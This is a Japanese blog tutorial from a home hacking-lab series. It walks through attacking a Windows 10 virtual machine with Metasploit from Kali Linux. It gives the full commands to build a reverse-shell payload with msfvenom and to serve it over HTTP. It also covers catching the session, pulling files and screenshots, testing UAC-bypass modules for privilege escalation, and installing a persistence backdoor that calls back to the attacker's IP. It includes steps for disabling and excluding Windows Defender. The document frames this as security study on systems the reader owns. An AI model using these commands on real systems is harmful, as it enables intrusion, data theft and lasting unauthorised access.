Kali Linux2022.1 でハッキングラボをつくってみる 6　Windows10をハッキングする2 Metasploit ペイロード作成からバックドア設置

# 今回行うこと
- ペイロード作成
- ペイロード設置
- リバースシェルの待受とペイロード実行
- Windowsからのファイルの転送
- スクショの撮影
- 権限の昇格
- バックドア設置

記述は、『ハッキング・ラボのつくりかた』(IPSIRON著)p.313-325を参考にしている部分が有ります。
Windows7で行ったプロセスとおおよそ一致するプロセスです。比較してみましょう。

参考
[Kali Linux2022.1 でハッキングラボをつくってみる 5 Windows7をハッキングする編3(Metasploit Frameworkを使う前編）](https://qiita.com/kagirohi/items/e36a1080d6eeef2e2503)
[Kali Linux2022.1 でハッキングラボをつくってみる 5 Windows7をハッキングする編4(Metasploit Frameworkを使う中編）](https://qiita.com/kagirohi/items/70b2eef235cf548abd98)

Windows7で導入した「Sysinternals」も導入しておきましょう。
https://qiita.com/kagirohi/items/720480de47b6c76422f9#netcatとsysinternalの導入

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
:::note alert
業務などで使用している物理PCのWindows10では、ハッキングラボを構築することは推奨できません。
また、個人用の物理PCを使ってのハッキングラボの構築も、細心の注意を持って行ってください。一応、別に使い捨てのローカルアカウントを作成する処置を行っていますが、何かしら不具合が起こる可能性は有ります。
Windows10に不具合が起きた、ファイルが流出、破損したと言われても、私は何もできません。
:::

## ペイロード作成
KaliLinuxの端末上で、次のコマンドを実行する
```
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.100 -f exe -o /home/kali/payloads/evilWin10.exe
```
:::note
LHOSTがlhostと小文字になっているが、問題はない。簡便のために、小文字にした。
:::
## ペイロード設置
ペイロード作成に続けて、次のコマンドを実行する。
ペイロードをKaliLinuxのwebサーバに配置する。
```
sudo cp /home/kali/payloads/evilWin10.exe /var/www/html/share/
sudo systemctl restart apache2
```
Windows10に戻って、"http:/\/KaliLinuxのローカルIPアドレス/share" にブラウザでアクセスすると、"evilWin10.exe"が存在する。
Windows Defenderを無効化したうえで、ダウンロードを行う。ブラウザのセキュリティ機能などでダウンロードをしないように勧められるが、無視してダウンロードを続行する。
私はブラウザはEdgeを使ったが、ダウンロードをしないように警告をうける。Windows10がWindows7と比較してセキュリティ面で優れていることが伺える。(Windows7のIEはノーガード）

## リバースシェルの待受とペイロード実行
KaliLinux側でmsfconsoleを立ち上げた後、コマンドを実行してリバースシェルの待ち受けを行う。
`msfconsole -q` >msfconsole立ち上げコマンド
```:msfconcole >
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.100
show options
exploit -j -z
```
`show options`の実行で、LHOSTの値がKaliLinuxのIPアドレスになっていることを確認。
-j, -zオプションは、
- -j : ジョブとしてモジュールを実行する
- -z : モジュールの実行が成功してMeterpreterセッションが確立しても、msfプロンプトのままにする。（セッションがバックグラウンド状態）


を意味している。-zオプションは必ずしも必要でない。

Windows10に戻って、ダウンロードしたペイロードを実行する。OSの警告のダイアログが出るが強制的に実行する。実行後に、セッションが確立しているかどうか、`sessions`コマンドで確認する。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_25_04_2022_19_01_21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/19b13c28-3d71-1576-fab1-935e76b7dede.png)

## Windowsからのファイルの転送
セッションが確立していることが確認できたので、meterpreterのコマンドが利用できるか見ていく。
まず、事前にWindows10側で、実験用のファイル"test.txt"を「ダウンロード」フォルダ内に作成しておく。
test.txtファイルを`download`コマンドでKaliLinuxに取り込む。
```:meterpreter >
pwd
//ダウンロードフォルダにいるか確認
ls test.txt
//ファイルの存在が確認できる
download test.txt
//downloadコマンドの実行で、msfconsoleを実行しているディレクトリにtest.txtがダウンロードされる
```
別の端末を立ち上げて、コマンドを実行。ちゃんとダウンロードできていることが確認できた。
```
ls /home/kali/test.txt
```
## スクショの撮影
meterpreterプロンプト上で、次のコマンドを実行する。
```:meterpreter >
screenshot
```
downloadコマンドと同じく、msfconsoleを実行しているディレクトリに画像ファイルがダウンロードされる。ファイル名は、ランダムな英数字の文字列である。
**実際のスクショ**
![Win10スクショ.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/6929e8e1-65eb-7db6-cbdc-47d86ad981aa.jpeg)

## 権限の昇格
まずは、`getsystem`で昇格できるか試す。
```
getsystem
```
Win7と同じようにUAC機能が邪魔をした。
UAC機能をバイパスしたい。

同書の本文中で、UAC機能をバイパスするモジュールとして使用されている"exploit/windows/local/bypassuac_sluihijack"を試用してみる。
```:msf >
use exploit/windows/local/bypassuac_sluihijack
set target 1
set session <セッションが確立しているセッションID>
set lhost 192.168.100
set payload windows/x64/meterpreter/reverse_https
exploit
```
Windows10側で、「プロダクトキーの入力」のダイアログが表示される。洗練された動作とは言い難い。
`search bypassuac`コマンドを実行し、他にUAC機能をバイパスできるモジュールを検索する。
実行結果は以下の通り。（実行結果は、Metasploit Frameworkのバージョンにより異なる場合がある。）
>   Name                                                   Disclosure Date  Rank       Check  Description
   0   exploit/windows/local/bypassuac_windows_store_filesys  2019-08-22       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
   1   exploit/windows/local/bypassuac_windows_store_reg      2019-02-19       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry
   2   exploit/windows/local/bypassuac                        2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass                       
   3   exploit/windows/local/bypassuac_injection              2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) 
   4   exploit/windows/local/bypassuac_injection_winsxs       2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
   5   exploit/windows/local/bypassuac_vbs                    2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
   6   exploit/windows/local/bypassuac_comhijack              1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   7   exploit/windows/local/bypassuac_eventvwr               2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   8   exploit/windows/local/bypassuac_sdclt                  2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
   9   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup)   
   10  exploit/windows/local/bypassuac_dotnet_profiler        2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via dot net profiler)
   11  exploit/windows/local/bypassuac_fodhelper              2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)   
   12  exploit/windows/local/bypassuac_sluihijack             2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack) 
>

次は、"exploit/windows/local/bypassuac_silentcleanup"を試用する。
・・・
一瞬だけpowershellが起動する。セッションが確立した。
`search bypassuac`コマンドの実行結果で表示されるモジュールをすべて試してみた表が以下の通り。

| モジュール名 | ランク | 公開日 | セッションが立ち上がるか？ | Win10での挙動 | KaliLinuxでの挙動 | システム権限に昇格可能か？ |
|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| exploit/windows/local/bypassuac_windows_store_filesys  | manual  | 2019-08-22  | ○ | WSReset.exeが立ち上がる | アラートが表示されるが実行可能 | ○ |
| exploit/windows/local/bypassuac_windows_store_reg  | manual  | 2019-02-19  | ☓  |  WSReset.exeとWindows Storeアプリが立ち上がる | セッションは生成されず | ☓ |
| exploit/windows/local/bypassuac  | excellent  | 2010-12-31  | ☓  | なし | Exploit aborted due to failure: not-vulnerable: Windows 10 (10.0 Build 19044). is not vulnerable.と表示される | ☓ |
| exploit/windows/local/bypassuac_injection  | excellent  | 2010-12-31  | ☓  | "SQL Client Configuration Utility EXE"の実行許可を尋ねるUACが出現する  | セッションは生成されず | ☓ |
| exploit/windows/local/bypassuac_injection_winsxs  | excellent  | 2017-04-06  | ○  | なし | アラートが表示されるが実行可能  | ○ |
| exploit/windows/local/bypassuac_vbs  | excellent  | 2015-08-22  | ☓  | なし  | セッションは生成されず | ☓ |
| exploit/windows/local/bypassuac_comhijack  | excellent | 1900-01-01 | ☓  | なし | Exploit aborted due to failure: not-vulnerable: The target is not exploitable. "set ForceExploit true" to override check result.と表示される | ☓ |
| exploit/windows/local/bypassuac_eventvwr | excellent | 2016-08-15 | ☓  | イベントビューアーが立ち上がる  | セッションは生成されず | ☓ |
| exploit/windows/local/bypassuac_sdclt  | excellent | 2017-03-17 | ○  | 一瞬、画面に変化有り  | アラートが表示されるが実行可能　| ○ |
| exploit/windows/local/bypassuac_silentcleanup   | excellent | 2019-02-24 | ○  | 一瞬、powershellが表示される | ○ |
| exploit/windows/local/bypassuac_dotnet_profiler | excellent | 2017-03-17 | ▲  | なし | Exploitは完了するが、セッションは生成されない   | ☓ |
| exploit/windows/local/bypassuac_fodhelper | excellent | 2017-05-12 | ○   | 一瞬、powershellが表示される   | アラートが表示されるが実行可能 | ○ |
| exploit/windows/local/bypassuac_sluihijack | excellent | 2018-01-15 | ☓  | プロダクトキーの入力が要請される   | エラーなし | ☓ |

:::note
モジュールの動作確認する際には、LPORTの値は任意の数値を用いた。同書では、4444に統一されているが、任意のポート番号を用いても支障はない。システムポートは避けたほう無難かもしれない。
:::

表によれば、"exploit/windows/local/bypassuac_sdclt"が挙動も名前の長さも洗練されていていることがわかる。
以降、このモジュールを使って、システム権限の昇格、バックドアの設置を目指す。
```:msf >
use exploit/windows/local/bypassuac_sdclt
set payload windows/x64/meterpreter/reverse_https4
set session <セッションが確立されたセッションID>
set lhost 192.168.1.100
set lport 4444
set target 0
```

## バックドアの設置
単にバックドアを設置しただけでは、Windows起動時に走るDefenderのリアルタイム保護でバックドアのvbsファイルが検出されてしまう。
ゆえに、バックドアファイルを設置する"C:\Users\<user_name>\AppData\Local\Temp"フォルダをDefenderのスキャンの除外対象とする。
### バックドア設置のコマンド
"exploit/windows/local/bypassuac_sdclt"でのシステム権限の昇格のあとは、バックドアの設置を行う。
次のコマンドを実行する。
```:meterpreter >
run persistence -X -i 60 -P windows/x64/meterpreter/reverse_tcp -p 4444 -r 192.168.1.100
```
-pで指定するポート番号は任意のもので構わないが、システムポートのポート番号は避けたほうが無難かもしれない。
なお、
-Xはシステム起動時にバックドアを開始
-iはインターバル
-Pはペイロードの指定
-rはペイロードの接続先（KaliLinuxのIpアドレス）
を意味する。

### Windows Defenderの除外フォルダ追加
「Windowsセキュリティ」＞「ウイルスと脅威の防止」＞「設定の管理」＞「除外」＞「除外の追加または削除」を開く。
バックドアファイルを設置する"C:\Users\<user_name>\AppData\Local\Temp"フォルダとWindows10にダウンロード済みのevilWin10.exeを除外対象に追加する。

### 確認する
Sysinternalsの「Autoruns64」を見る限りではペイロードが起動済みなのに、KaliLinuxのmsfconsoleからのセッション確立ができたりできなかったり不安定・・・。
![2022-04-26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/1fa1b6bc-c8cc-3fc4-daa7-ca52a5f32cd3.png)

msfconsoleでは、大量の"Meterpreter session ... is not valid and will be closed"が出現。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_04_2022_23_30_20セッション確立不安定.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/737c0456-39f5-e0a0-6c4f-00a74c8c64a6.png)
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_04_2022_23_30_20セッション確立不安定２.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/d677a6e5-6bfe-c335-8f31-c7e716c3b1e9.png)

### リアルタイム保護の無効化
出来なかった。同書では、レジストリの編集によってリアルタイム保護を無効化する手段について触れられている。p.171参照。

# 終わりに
Windows10のリアルタイム保護を無効化できればよいが、それはできなかった。
Windows10のエディションやバージョンによっても異なるのだろうが。
現実的に、リアルタイム保護無効、AppDataフォルダ以下のディレクトリがスキャン除外というのがそもそも想定しづらい状況である。リアルタイム保護を無効化させること自体がマルウェアじみているので、本末転倒のきらいがある。Windows10のセキュリティ性能が上がっていることが実感できる。